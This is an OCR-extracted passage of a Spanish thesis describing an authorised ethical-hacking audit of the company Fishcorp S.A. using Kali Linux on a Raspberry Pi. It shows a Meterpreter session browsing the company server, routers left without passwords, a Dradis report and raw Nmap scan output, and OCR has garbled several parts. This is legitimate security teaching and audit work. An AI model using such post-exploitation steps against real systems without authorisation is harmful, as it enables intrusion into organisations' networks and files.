podemos observar parte del comando help que nos muestra todas las
opciones disponibles como descargar, copiar, eliminar, cambiar permisos de

cualquier archivo, mostrdndonos claramente, un equipo muy poco protegido:

msf exploit( ) > sessions -i 1

e
[#] Starting interaction with 1...

meterpreter > pwd
/Users/FishcorpSAServer

meterpreter > 1s
Listi i

Mode Name

100644/rw-r--r-- fil = .DS_Store

40755/ rwxr-xr-x dir - Contratos

40755/ rwxr-xr-x dir - Departamentos

40755/ rwxr-xr-x dir - Estados Financieros 20
15-Adelante I

40755/ rwxr-xr- dir - FechasEmbarque

40755/ rwxr-xr-x dir - ListadoContenedores
40755/ rwxr-xr- dir - ListadoProductos
40755/ rwxr-xr- dir - Rol de pagos

meterpreter >

Core Commands

Description

7 Help menu

background Backgrounds the current session

bgkill Kills a background meterpreter script

bglist Lists running background scripts

bgrun Executes a meterpreter script as a background thre

Figura 4.7 Listado de archivos en el servidor
Elaborado por: Autor

Adicionalmente al conocer que se utilizan routers Mikrotik, desde la
computadora principal del autor se procedié a revisar con Winbox si se
mostraban datos de los mismos, comprobando que dos de los tres routers se
encuentran sin proteccién, dando acceso a cualquier persona que desee
obtener informacion de las interfaces usadas, direcciones IPs, entre otros
datos de interés. En este caso un ataque muy facil hubiera sido eliminar las
interfaces ethernet creadas con lo cual se hubiera dejado sin acceso a internet
a posiblemente mas de un departamento de la empresa.
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Figura 4.8 Routers sin contrasefia
Elaborado por: Autor

4.3.4. Fase de elaboracion del reporte.

En esta fase del hacking ético se creara un reporte con los problemas
encontrados, para esta fase se usara la herramienta previamente mencionada
Dradis. En esta aplicacion web bastara con ir anotando los problemas

encontrados y da la opcion de adjuntar un archivo en el caso de requerirlo.

El informe generado por Dradis se encuentra adjuntado al final de esta

investigacibn como anexo.

4.3.5. Fase de entrega del reporte.

En esta fase final se entregé el reporte al gerente de la empresa, el
Ingeniero Jaime Estrada y al ingeniero encargado de la red, a quienes se le
explico las vulnerabilidades encontradas y se les brinda las
recomendaciones que podran ser halladas en el siguiente capitulo del
presente trabajo.

4.4. Analisis costo/beneficio de la plataformaaus  ar.
Para el presente trabajo de titulacion se adquirié el paquete ofrecido

por la compafia CanaKit, en el sitio web Amazon, “CanaKit Raspberry Pi 3
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Complete Starter Kit - 32 GB Edition”. Este producto al momento de compra

posee un valor de $75.

Este kit incluye:
* Raspberry Pi 3 (RPi3) Model B Quad-Core 1.2 GHz 1 GB RAM.
* 32 GB MicroSD Card (Clase 10).
* Adaptador USB para tarjetas MicroSD
* Fuente de poder Micro USB CanaKit 2.5A con filtro de ruido,
disefiado especialmente para el modelo incluido.
» Case para el Raspberry Pi 3
» Cable HDMI con soporte CEC.
» 2 Disipadores de calor.

e Guia de inicio rapido oficial de CanaKit

Sanmisk
3268 € pero

Figura 4.9 CanakKit Modelo 3B
Fuente: (CanaKit, 2018).
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Conclusiones

Por medio del hacking ético se puede simular el proceso que realizaria
un hacker con malas intenciones con el fin de encontrar vulnerabilidades en
una red informatica. Existen variedades de sistemas operativos para este fin,

siendo el mas popular Kali Linux.

El hacking ético obliga a la industria de la seguridad informética a estar
en constante actualizacion asi como a los auditores a estar en constante
capacitacion debido a la rapidez con la que aparecen tanto nuevas soluciones

asi como nuevos métodos usados por los hackers.

Esta investigacion permitio llegar a las siguientes conclusiones tanto

sobre el hardware usado asi como sobre la prueba de intrusion realizada.

El Raspberry Pi 3 Model B junto con el sistema operativo Kali Linux
demostré ser una excelente herramienta para la elaboracion de auditorias
informaticas de todo tipo. El software funciono de manera Optima y su

rendimiento fue rapido.

Las herramientas incluidas en esta imagen de disco disefiada
exclusivamente para arquitecturas ARM son de gran utilidad en una prueba
de intrusion. Siguiendo las fases del hacking ético se pudo observar que se
incluyen herramientas para cada etapa del mismo lo cual automatiza y facilita

el trabajo de un hacker ético.

La plataforma ofrece varias opciones para poder ser accedida de
manera remota, en esta investigacion se demostré6 que el protocolo SSH

permite realizar esta funcién de manera eficaz.
Al realizarse la simulacion de un proceso de hacking ético, se demostro

gue la empresa Fishcorp S.A. cuenta con algunas vulnerabilidades en sus
sistemas las cuales podrian ser aprovechadas por hackers.

73



Estas vulnerabilidades fueron explotadas, con el debido permiso de la
empresa, y se obtuvo acceso a carpetas internas del servidor que se

encuentra en la fabrica.
Esta investigacion demostré la necesaria implementacion de politicas

de seguridad informatica en las empresas asi como un constante analisis de

sus sistemas y equipos.
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Recomendaciones

Impulsar a los profesionales en telecomunicaciones, sistemas y redes
a capacitarse sobre la seguridad informéatica y los riesgos que conlleva una

mala o nula implementacion de la misma.

Dar a conocer en el medio la capacidad que tiene el Raspberry Pi en el

campo de las auditorias informaticas.

Encaminar este tipo de investigaciones a la creacion y configuracion de
ambientes de pruebas en laboratorios informaticos, los cuales podran ser

usados con fines educativos.

Con respecto a la simulacion de auditoria, se recomienda a Fishcorp
S.A contratar una empresa certificada con el fin de realizar una auditoria oficial
y crear un plan de contingencia para ataques informaticos, asi como capacitar

al administrador de red sobre seguridad en sistemas informéaticos.

De la misma manera se recomienda la debida implementacion de
seguridad fisica con respecto al servidor y routers de la empresa. También se
recomienda una actualizacion de sus sistemas operativos, antivirus y la

adquisicion de un cortafuegos.
Finalmente se recomienda a la empresa a realizar talleres o

capacitaciones para sus empleados sobre el correcto uso y manejo de

credenciales e informacion sensible de la empresa.
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Glosario

Cracker: Término para referirse a las personas que vulneran alguna sistema

de seguridad informético.

Exploit: En informatica se le llama asi a un programa que se aprovecha de
una vulnerabilidad en un sistema para conseguir un comportamiento no

deseado del mismo.

Payload: Conocido en espafiol también como carga util, es la parte del codigo
gue realiza la accién deseada, es decir, excluyendo cabeceras y metadatos.
En seguridad se refiere a la parte del codigo que realiza el dafio al sistema

que se ha vulnerado.

Routing: Llamado también encaminamiento o ruteo. Se refiere al proceso de

buscar la mejor ruta para un paquete de datos entre varias redes conectadas.

SSH: Acronimo del protocolo SecureShell. Este protocolo tiene como principal
funcion proveer una comunicacién segura entre dos sistemas basar en una

arquitectura cliente/servidor.

Switching: Se refiere al proceso de conectar los dispositivos de una misma
red local con el objetivo de lograrlo de la manera que se causen menos

colisiones en la red.

TCP: Protocolo de transmision. Protocolo encargado de que las aplicaciones

puedan comunicarse de forma segura independientes de las capas inferiores.
Valor Hash: Valor obtenido luego de aplicar un algoritmo matematico a una

secuencia de datos, teniendo un valor Unico para cada dato independiente de

su longitud.
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Anexos

Anexo 1. Historial de versiones de Kali Linux

Version Fecha de Publicacién Detalles

Kali 1.0.0

13 de Marzo del 2013

Primer lanzamiento.

Kali 1.0.1

14 de Marzo del 2013

Arreglo de bugs
menores

relacionados a la
interfaz USB del

teclado.

Kali 1.0.2

27 de Marzo del 2013

Inclusion de los
paquetes b43-
fwcutter y firmware-
b43-installer.

Kali 1.0.3

26 de Abril del 2013

Solucion en conjunto
con el equipo de
GNOME se
soluciono problemas
con GDM3.

Se incluyo la opcién
de “Escritorio Live”
para la instalacion de
Kali.

Kali 1.0.4

25 de Julio del 2013

Se afiadieron
actualizaciones de
aplicaciones ya
existentes asi como
nuevas herramientas

al arsenal de Kali.

Se afiadieron mas
imagenes del
software para

hardware ARM, en

81




Version Fecha de Publicacion Detalles
este caso para
BeagleBone Black,
CuBox y Efika MX.

Kali 1.0.5 5 de Septiembre del 2013 . Varios arreglos de
bugs y
actualizaciones de
herramientas.

« Imagenes para
hardware ARM
actualizado y
disponible para
nuevas plataformas.

» Herramientas y
drivers para
Software Defined
Radio (SDR).

« Herramientas para
manipulacién de
tarjetas MIFARE.

Kali 1.0.6 9 de Enero del 2014 « Nuevo kernel 3.12.

« Liberacion de los
scripts relacionados

alasimagenes ARM.

« Parche LUKS Nuke

afadido a
cryptsetup.
« Lanzamiento de

scripts que permiten
construir tus propias

imagenes en la nube
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Version

Fecha de Publicacién

Detalles

de Amazon AMI and
Google Compute.

« Inclusion de parches
en GitHub para las
herramientas de

VMware.

Kali 1.0.7

27 de Mayo del 2014

« Nuevo kernel 3.14.

o Introduccion de Kali

Linux para USB'’s asi
como la posibilidad
de crear una
particibn de disco
que permitira
mantener los
archivos de sesiones
previas y
configuraciones

guardadas.

 Inicio de esfuerzos

mas coordinados
entre el equipo de
Kali Linux y los
desarrolladores de
las diferentes

herramientas.

Kali 1.0.8

22 de Julio del 2014

« Se afnade una

imagen ISO que
soporte el arranque
EFI.

« Actualizacién de

varias herramientas
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Version Fecha de Publicacion Detalles
y arreglos a errores
varios.

Kali 1.0.9 25 de Agosto del 2014 . Soporte a la imagen
ARM para hardware
de tipo Raspberry Pi.

« Se afadieron
imagenes ARM para
computadoras
Odroid U3 y Cubox-i.

« Lanzamiento del sitio
web dedicado a las
herramientas con las
que cuenta Kali.
(https://tools.kali.org/
tools-listing)

Kali 1.0.9a 6 de Octubre del 2014 . Correccion de las
vulnerabilidades
encontradas en la
anterior
actualizacion y a
NetHunter.

Kali 1.1.0 9 de Febrero del 2015 . Kernel 3.18,
parchado para
ataques de
inyecciones
wireless.

« Soporte para

hardware NVIDIA
Optimus.

« Soporte de drivers

wireless mejorado,

debido tanto al
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Version Fecha de Publicacion Detalles
kernel y a
actualizaciones de
firmware.

» Actualizacion de los
paquetes e
instrucciones de
virtualbox-tool,
openvm-tools and
vmware-tools.

Kali 1.1.0a 13 de Marzo del 2015 . Arreglos de
inconsistencias en el
kernel ABI en los
instaladores.

Kali 2.0 11 de Agosto del 2015 . Kernel 4.0 basado en

Debian Jesse.

« Mejoramiento de
drivers relacionados

a wireless.

« Se convierte a Kali
en una  “rolling
ditribution”, lo cual
permite a todos una
mas rapida
actualizacion y
acceso a paquetes
nuevos de

actualizaciones.

« Adaptacion de
GNOME 3 en el
escritorio, y con esto
el lanzamiento de
Kali Light, una

version menos
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Version Fecha de Publicacion Detalles
pesada del sistema
operativo.
« Actualizacion de
imagenes ISO para
VirtualBox y
VMware.
Kali 2016.1 21 de Enero del 2016 « Primera version
oficial del tipo
“rolling”.
« Instrucciones para
cambiar los
repositorios y
actualizar todo el
sistema.
Kali 2016.2 31 de Agosto del 2016 . Actualizacion a
Kernel 4.6.
+ Retiros de
repositorios de Kali
Sana.
Kali 2017.1 25 de Abril del 2017 « Kernel 4.9

« Mejoramiento de
drivers graficos de
propietarios.

« Inclusion de drivers
wireless para el chip
RTL8812AU.

« Implementacion del

paquete OpenVAS 9.
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Version

Fecha de Publicacién

Detalles

Kali 2017.2

20 de Septiembre del 2017

Kernel 4.12, GNOME
3.25.

Mas de una docena
de herramientas

nuevas.

Mejoramiento en la
integracion completa

de paquetes.
Actualizaciones de
imégenes virtuales e

imagenes ARM.

Kali 2017.3

21 de Noviembre del 2017

Kernel 4.13, GNOME
3.26.

CIFS usa ahora SMB
3.0 por default.

Los directorios EXT4
pueden tener hasta 2

billones de entradas.

El soporte TLS ya
viene incluido dentro

del kernel.

Varias
actualizaciones de

paquetes.

Se afiaden las
herramientas InSpy,
CherryTree,
Sublist3r,
OSRFramework y se
realiza un cambio
masivo en la
herramienta

Maltego.
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Version Fecha de Publicacién Detalles
Kali 2018.1 6 de febrero del 2018 . Kernel 4.14.12,
GNOME 3.26.2.
« Actualizaciones de
paquetes varios.
« Actualizaciones de
Hyper-V.
Kali 2018.2 30 de Abril del 2018 « Actualizacion de

varios paquetes.

Acceso mas facil a

los scripts

Metasploit.

de
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Anexo 2. Servidor sin Proteccion Fisica.
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Anexo 4. Flujograma de la implementacion y pruebas
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Anexo 5. Carta de Solicitud a la Empresa.

Manta, Viernes 10 de Agosto del 2018

Ing. Jaime Estrada Medranda
Gerente General de Fishcorp S.A.

De mis consideraciones,

Yo, Carlos Roman Estrada Garcia, en mi calidad de estudiante UTE de la Universidad Catdlica
Santiago de Guayaquil, por la presente solicito a usted se me conceda el permiso necesario para
acceder a la red de su empresa con el fin de demostrar de manera general los pasos de una
auditoria informatica, tema relacionado al proyecto de investigacion que estoy realizando previa a

la obtencidn del titulo de Ingeniero en Telecomunicaciones.

Para alcanzar el fin mencionado se usara la plataforma Raspberry Pi para probar en un entorno real
las principales herramientas del sistema operativo Kali Linux para cada paso de un proceso de
hacking ético. En el caso de aceptar la peticion, estas pruebas se realizarian en el plazo maximo de

una semana.

Esperando contar con la confirmacién de su parte, me suscribo de usted,

Atentamente,

Cl: 1311431371 R o)
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Anexo 6. Reporte generado por Dradis y resultado de Nmap.

Ver pagina siguiente.
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Dradis Community Edition v3.9.0

Project notes

In this section you'll find any notes assignedhsReport category.
Analisis de Nmap al servidor

Se realizo un analisis completo con Nmap, con detgéan de sistema operativo
con el fin de encontrar puertos abiertos

Uso de Metasploit Framework

Se uso el framework mencionado para crear un exploen lenguaje Python el
cual nos brinda acceso a los archivos del servidor.

Project issues
In this section you'll find your project's Issues.
Titulo: Nula seguridad fisica en los equipos dengeesa.

Descripcion: Se observa que los equipos de rededder y routers) se
encuentran desprotegidos y al alcance de usuariagtorizados.

Assets affected by this issue

Reconocimiento (1 instance)

Maltego
Uso de la herramienta para obtener informacion pubta de manera grafica.
Hallazgo de varios puertos abiertos cn Nmap

Con la aplicacion de Nmap contra el servidor, se &ovo como resultado varios
puertos abiertos los cuales permitirian conexiongsor parte de hackers.

Assets affected by this issue
A. None so far.

Dradis Community Edition v3.9.0http://dradisframework.org
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<?xml version="1.0" encoding="UTF-8"?>

<IDOCTYPE nmaprun>

<?xml-stylesheet href="file:///usr/bin/../share/rpframap.xsl" type="text/xsl"?>

<I-- Nmap 7.70 scan initiated Mon Aug 15 11:58:28.2 as: nmap -sT -O -oX Fishcorp // --
>

<nmaprun scanner="nmap" args="nmap -sT -O -oX kight" start="1535385505"
startstr="Aug 14 11:58:25 2018" version="7.70" xotjoutversion="1.04">

<scaninfo type="connect" protocol="tcp" numservicd900" services="1,3-4,6-
7,9,13,17,19-26,30,32-33,37,42-43,49,53,70,79-89(889-100,106,109-
111,113,119,125,135,139,143-144,146,161,163,17219P12,222,254-
256,259,264,280,301,306,311,340,366,389,406-4044¥(425,427,443-445,458,464-
465,481,497,500,512-515,524,541,543-545,548,5545683%87,593,616-
617,625,631,636,646,648,666-
668,683,687,691,700,705,711,714,720,722,726,749,78583,787,800-
801,808,843,873,880,888,898,900-903,911-912,981998/992-993,995,999-
1002,1007,1009-1011,1021-1100,1102,1104-1108,1114;1117,1119,1121-
1124,1126,1130-1132,1137-1138,1141,1145,1147-118%9;1152,1154,1163-
1166,1169,1174-1175,1183,1185-1187,1192,1198-1209,1213,1216-1218,1233-
1234,1236,1244,1247-1248,1259,1271-1272,1277,1288,1300-1301,1309-
1311,1322,1328,1334,1352,1417,1433-1434,1443,1465,1494,1500-
1501,1503,1521,1524,1533,1556,1580,1583,1594,1600,1658,1666,1687-
1688,1700,1717-1721,1723,1755,1761,1782-1783,180%,1812,1839-1840,1862-
1864,1875,1900,1914,1935,1947,1971-1972,1974,1988,2010,2013,2020-
2022,2030,2033-2035,2038,2040-2043,2045-2049,2068,2099-2100,2103,2105-
2107,2111,2119,2121,2126,2135,2144,2160-2161,2179,2190-
2191,2196,2200,2222,2251,2260,2288,2301,2323,2386,2383,2393-
2394,2399,2401,2492,2500,2522,2525,2557,2601-2602;2605,2607-2608,2638,2701-
2702,2710,2717-2718,2725,2800,2809,2811,2869,2809,;2910,2920,2967-
2968,2998,3000-3001,3003,3005-3007,3011,3013,303@;3
3031,3052,3071,3077,3128,3168,3211,3221,3260-3268,3269,3283,3300-
3301,3306,3322-3325,3333,3351,3367,3369-3372,3389-
3390,3404,3476,3493,3517,3527,3546,3551,3580,3689;3
3690,3703,3737,3766,3784,3800-3801,3809,3814,3826-
3828,3851,3869,3871,3878,3880,3889,3905,3914,3928,3945,3971,3986,3995,3998,40
00-4006,4045,4111,4125-4126,4129,4224,4242,4279,4323,4443-
4446,4449,4550,4567,4662,4848,4899-4900,4998,5000,;5009,5030,5033,5050-
5051,5054,5060-5061,5080,5087,5100-5102,5120,5200,5214,5221-5222,5225-
5226,5269,5280,5298,5357,5405,5414,5431-
5432,5440,5500,5510,5544,5550,5555,5560,5566,5633,5666,5678-
5679,5718,5730,5800-5802,5810-5811,5815,5822,5828,5859,5862,5877,5900-
5904,5906-5907,5910-5911,5915,5922,5925,5950,5959;5963,5987-5989,5998-
6007,6009,6025,6059,6100-
6101,6106,6112,6123,6129,6156,6346,6389,6502,6548,6547,6565-
6567,6580,6646,6666-6669,6689,6692,6699,6779,6788-
6789,6792,6839,6881,6901,6969,7000-
7002,7004,7007,7019,7025,7070,7100,7103,7106,7200-
7201,7402,7435,7443,7496,7512,7625,7627,7676,7141,7778,7800,7911,7920-
7921,7937-7938,7999-8002,8007-8011,8021-8022,8032,8045,8080-8090,8093,8099-
8100,8180-8181,8192-8194,8200,8222,8254,8290-
8292,8300,8333,8383,8400,8402,8443,8500,8600,8649;8
8652,8654,8701,8800,8873,8888,8899,8994,9000-9008;9011,9040,9050,9071,9080-
9081,9090-9091,9099-9103,9110-9111,9200,9207,9220,9415,9418,9485,9500,9502-
9503,9535,9575,9593-9595,9618,9666,9876-9878,9808,9917,9929,9943-
9944,9968,9998-10004,10009-10010,10012,10024-
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10025,10082,10180,10215,10243,10566,10616-106171108626,10628-
10629,10778,11110-11111,11967,12000,12174,122655123456,13722,13782-
13783,14000,14238,14441-14442,15000,15002-150080155742,16000-
16001,16012,16016,16018,16080,16113,16992-
16993,17877,17988,18040,18101,18988,19101,1928B5193350,19780,19801,19842,200
00,20005,20031,20221-20222,20828,21571,22939,235024,24800,25734-
25735,26214,27000,27352-27353,27355-
27356,27715,28201,30000,30718,30951,31038,3133633322785,33354,33899,34571-
34573,35500,38292,40193,40911,41511,42510,441 742444
44443,44501,45100,48080,49152-49161,49163,4916674899175-49176,49400,49999-
50003,50006,50300,50389,50500,50636,50800,511083582673,52822,52848,52869,540
45,54328,55055-55056,55555,55600,56737-
56738,57294,57797,58080,60020,60443,61532,619008628331,64623,64680,65000,651
29,65389"/>

<verbose level="0"/>

<debugging level="0"/>

<host starttime="1535385505" endtime="1535385508tatus state="up" reason="arp-
response" reason_ttlI="0"/>

<address addr="//" addrtype="ipv4"/>

<address addr="//" addrtype="mac" vendor="Hewlettkard Enterprise"/>
<hosthames>

</hostnames>

<ports><extraports state="closed" count="969">

<extrareasons reason="conn-refused" count="969"/>

</extraports>

<port protocol="tcp" portid="21"><state state="opeaason="syn-ack"
reason_ttlI="0"/><service name="ftp" method="taltehf="3"/></port>

<port protocol="tcp" portid="53"><state state="opeaason="syn-ack"
reason_ttlI="0"/><service name="domain" method="galgonf="3"/></port>

<port protocol="tcp" portid="80"><state state="opeaason="syn-ack"
reason_ttlI="0"/><service name="http" method="taldehf="3"/></port>

<port protocol="tcp" portid="88"><state state="opeaason="syn-ack"
reason_ttlI="0"/><service name="kerberos-sec" mettiadble" conf="3"/></port>

<port protocol="tcp" portid="135"><state state="opeeason="syn-ack"
reason_ttlI="0"/><service name="msrpc" method="tabtnf="3"/></port>

<port protocol="tcp" portid="139"><state state="opeeason="syn-ack"
reason_ttlI="0"/><service name="netbios-ssn" metlitabte" conf="3"/></port>

<port protocol="tcp" portid="389"><state state="opeeason="syn-ack"
reason_ttlI="0"/><service name="Idap" method="taldehf="3"/></port>

<port protocol="tcp" portid="445"><state state="opeeason="syn-ack"
reason_ttlI="0"/><service name="microsoft-ds" methtidble" conf="3"/></port>

<port protocol="tcp" portid="464"><state state="opeeason="syn-ack"
reason_ttlI="0"/><service name="kpasswd5" methods#&taconf="3"/></port>

<port protocol="tcp" portid="593"><state state="opeeason="syn-ack"
reason_ttlI="0"/><service name="http-rpc-epmap" rodtH'table" conf="3"/></port>
<port protocol="tcp" portid="636"><state state="opeeason="syn-ack"
reason_ttlI="0"/><service name="Idapssl" method4&abonf="3"/></port>

<port protocol="tcp" portid="2638"><state state=boyf reason="syn-ack"
reason_ttlI="0"/><service name="sybase" method=&abbnf="3"/></port>

<port protocol="tcp" portid="3268"><state state=bwfj reason="syn-ack"
reason_ttlI="0"/><service name="globalcatLDAP" methttable" conf="3"/></port>
<port protocol="tcp" portid="3269"><state state=bofj reason="syn-ack"
reason_ttlI="0"/><service name="globalcatLDAPssI'thegl="table" conf="3"/></port>
<port protocol="tcp" portid="3389"><state state=boy reason="syn-ack"
reason_ttlI="0"/><service name="ms-wbt-server" mdtHtable" conf="3"/></port>
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<port protocol="tcp" portid="4848"><state state=boy reason="syn-ack"
reason_ttlI="0"/><service name="appserv-http" methitable" conf="3"/></port>
<port protocol="tcp" portid="7676"><state state=bwfj reason="syn-ack"
reason_ttlI="0"/><service name="imqgbrokerd" methddble" conf="3"/></port>
<port protocol="tcp" portid="8080"><state state=bwfj reason="syn-ack"
reason_ttlI="0"/><service name="http-proxy" metho@wle" conf="3"/></port>
<port protocol="tcp" portid="8181"><state state=bofj reason="syn-ack"
reason_ttlI="0"/><service name="intermapper" methtaiie" conf="3"/></port>
<port protocol="tcp" portid="9000"><state state=bwfj reason="syn-ack"
reason_ttlI="0"/><service name="cslistener" methaabie" conf="3"/></port>
<port protocol="tcp" portid="9001"><state state=bofj reason="syn-ack"
reason_ttlI="0"/><service name="tor-orport" methaddble" conf="3"/></port>
<port protocol="tcp" portid="49152"><state stateptm" reason="syn-ack"
reason_ttlI="0"/><service name="unknown" method=&alsonf="3"/></port>
<port protocol="tcp" portid="49153"><state stateptm" reason="syn-ack"
reason_ttlI="0"/><service name="unknown" method=&alsonf="3"/></port>
<port protocol="tcp" portid="49154"><state stateptm" reason="syn-ack"
reason_ttlI="0"/><service name="unknown" method=&alsonf="3"/></port>
<port protocol="tcp" portid="49155"><state stateptm" reason="syn-ack"
reason_ttlI="0"/><service name="unknown" method=&alsonf="3"/></port>
<port protocol="tcp" portid="49156"><state stateptm" reason="syn-ack"
reason_ttlI="0"/><service name="unknown" methods&alsonf="3"/></port>
<port protocol="tcp" portid="49157"><state stateptm" reason="syn-ack"
reason_ttlI="0"/><service name="unknown" method=&alsonf="3"/></port>
<port protocol="tcp" portid="49158"><state stateptm" reason="syn-ack"
reason_ttlI="0"/><service name="unknown" method=&alsonf="3"/></port>
<port protocol="tcp" portid="49159"><state stateptm" reason="syn-ack"
reason_ttlI="0"/><service name="unknown" method=&alsonf="3"/></port>
<port protocol="tcp" portid="49165"><state stateptm" reason="syn-ack"
reason_ttlI="0"/><service name="unknown" methods&alsonf="3"/></port>
<port protocol="tcp" portid="49176"><state stateptm" reason="syn-ack"
reason_ttlI="0"/><service name="unknown" method=&alsonf="3"/></port>
</ports>

<os><portused state="open" proto="tcp" portid="21"/

<portused state="closed" proto="tcp" portid="1"/>

<portused state="closed" proto="udp" portid="43381"

<osmatch name="Microsoft Windows|7, Windows SeR@t2, or Windows 8.1 Update 1"
accuracy="100" line="77414">

<osclass type="general purpose" vendor="Microso$family="Windows" osgen="7"
accuracy="100"><cpe>cpe:/o:microsoft:windows_ 7timhte</cpe></osclass>
<osclass type="general purpose" vendor="Microsodfamily="Windows" osgen="2012"
accuracy="100"><cpe>cpe:/o:microsoft:windows_20tpe,</osclass>
<osclass type="general purpose" vendor="Microsoéfamily="Windows" osgen="8.1"
accuracy="100"><cpe>cpe:/o:microsoft:windows_8.pefe</osclass>
</osmatch>

</os>

<uptime seconds="524609" lastboot="Aug 15 10:142698"/>

<distance value="1"/>

<tcpsequence index="265" difficulty="Good luck!"
values="DE565DC,9295A507,E0740C1A,61149287,77114FF925DB"/>
<ipidsequence class="Incremental" values="BEO,BE?,BE3,BE4,BE5"/>
<tcptssequence class="100HZ"
values="3207D4A,3207D54,3207D5E,3207D68,3207D7ZB2C"/>

<times srtt="3144" rttvar="391" to="100000"/>

</host>
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<runstats><finished time="1535385508" timestr="Al{§11:58:28 2018" elapsed="2.69"
summary="Nmap done at Aug 15 11:58:28 2018; 1 ress (1 host up) scanned in 2.69
seconds"” exit="success"/><hosts up="1" down="0altdtL"/>

</runstats>

</nmaprun
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